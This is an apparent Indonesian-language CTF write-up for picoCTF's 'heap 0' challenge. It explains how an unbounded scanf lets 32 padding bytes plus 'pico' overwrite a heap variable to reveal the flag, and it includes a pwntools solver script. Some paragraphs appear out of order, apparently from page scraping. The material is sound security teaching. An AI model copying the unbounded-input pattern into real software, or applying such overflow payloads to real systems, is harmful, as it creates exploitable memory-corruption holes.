Blog
Blog
  • Main
Powered by GitBook
  1. Writeups

heap 0 - Binary Exploitation

Last updated 3 months ago

Was this helpful?

Deskripsi

Challenge ini bisa diakses melalui:

Walkthrough

Diberikan sebuah file binary ELF beserta source code-nya.

Ketika file ELF tersebut dieksekusi, maka akan menghasilkan output berikut:

Program ini sebenarnya adalah contoh implementasi alokasi data pada memori menggunakan heap dengan beberapa opsi:

  • Opsi 1: menampilkan lokasi dan isi memori pada status saat ini (current state).

  • Opsi 2: menuliskan data pada memori.

  • Opsi 3: menampilkan isi variabel pada memori.

  • Opsi 4: menampilkan flag.

  • Opsi 5: keluar program.

Jika dilihat dari source code-nya, terdapat fungsi check_win yang akan menampilkan isi flag.

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

Di fungsi ini, untuk menampilkan flag, saya perlu memenuhi kondisi if (strcmp(safe_var, "bico") != 0) yang artinya adalah: jika variabel safe_var tidak berisi string "bico", maka eksekusi perintah di dalam block.

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

Jika dilihat dari isinya, fungsi ini berisi perintah untuk menerima input user menggunakan fungsi scanf. Dan jika melihat pada manual page fungsi scanf melalui console menggunakan perintah man scanf, ternyata fungsi ini memiliki bugs.

Setelah mengetahui terdapat bug buffer overflow pada program ini, langkah selanjutnya adalah melakukan eksploitasi!!!

Ekploitasi

Karena saya sudah mengetahui terdapat bug buffer overflow pada program ini, maka saya akan men-triggernya melalui opsi 2. Write to buffer.

Ketika saya mencoba memasukkan 40 karakter A tanpa spasi sebagai input dan menampilkan status heap, data pada heap yang mulanya berisi string "bico" menjadi berisi karakater A berjumlah 8.

Saya akan mencobanya sekali lagi, tetapi kali ini eksekusi program dilakukan pada instance yang diberikan di deskripsi challenge. Kali ini saya akan mencoba memasukkan string AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico sebagai input data, dan mengecek status heap.

Sekarang variabel safe_var berhasil ditimpa dengan string "pico." Dan saya hanya perlu memilih opsi 4. Print Flag untuk memenangkan permainan dan mendapatkan flagnya.

Solver

Berikut adalah solver untuk challenge ini:

from pwn import *

conn = remote(HOST, PORT)

payload = b"A"*32 + b"pico"

conn.recvuntil(b"Enter your choice: ")
conn.sendline(b"2")
conn.sendline(payload)

conn.recvuntil(b"Enter your choice: ")
conn.sendline(b"4")

print(conn.recvall().decode())

Hasil running solver:

Challenges Serupa

Kondisi ini hanya bisa dipenuhi dengan cara menimpa isi variabel safe_var di memori, atau dengan kata lain melalui . Untuk melakukan ini, saya perlu melihat terlebih dahulu apa yang sebenarnya dilakukan oleh opsi 2. Write to buffer pada fungsi write_buffer di source code.

Fungsi scanf tidak melakukan pemeriksaan jumlah pada input yang diberikan, atau dengan kata lain akan memasukkan semua input data sampai karakter spasi ditemukan. Kondisi ini akan menimbulkan , ketika sebuah program mencoba menyimpan data yang melebihi kapasitas buffer atau blok memori yang sudah dialokasikan untuk menyimpan data tersebut. Dan ketika buffer terisi lebih dari kapasitasnya, data akan "meluber" ke area memori lain yang berdekatan, sehingga akan menimpa data lain.

Dari sini bisa disimpulkan bahwa variabel input_data (untuk menerima input user) hanya dapat menyimpan buffer sebesar 33 bytes (32 bytes + ). Ketika memasukkan input lebih dari itu, maka sisa karakter tersebut akan menimpa variabel terdekat yang ada di memori, yang di kasus ini adalah variabel safe_var yang berisi string "bico." Karena untuk mendapatkan flag saya hanya perlu menimpa atau memodifikasi variabel safe_var, maka di percobaan sebelumnya saya sebenarnya sudah bisa menampilkan flagnya.

Jika kalian ingin mengetahui variasi lain dari buffer overflow dan cara eksploitasinya, kalian bisa membaca .

heap overflow
buffer
buffer overflow
null terminator
writeup ini
https://play.picoctf.org/practice/challenge/438
output program
bug fungsi scanf
https://www.imperva.com/learn/application-security/buffer-overflow/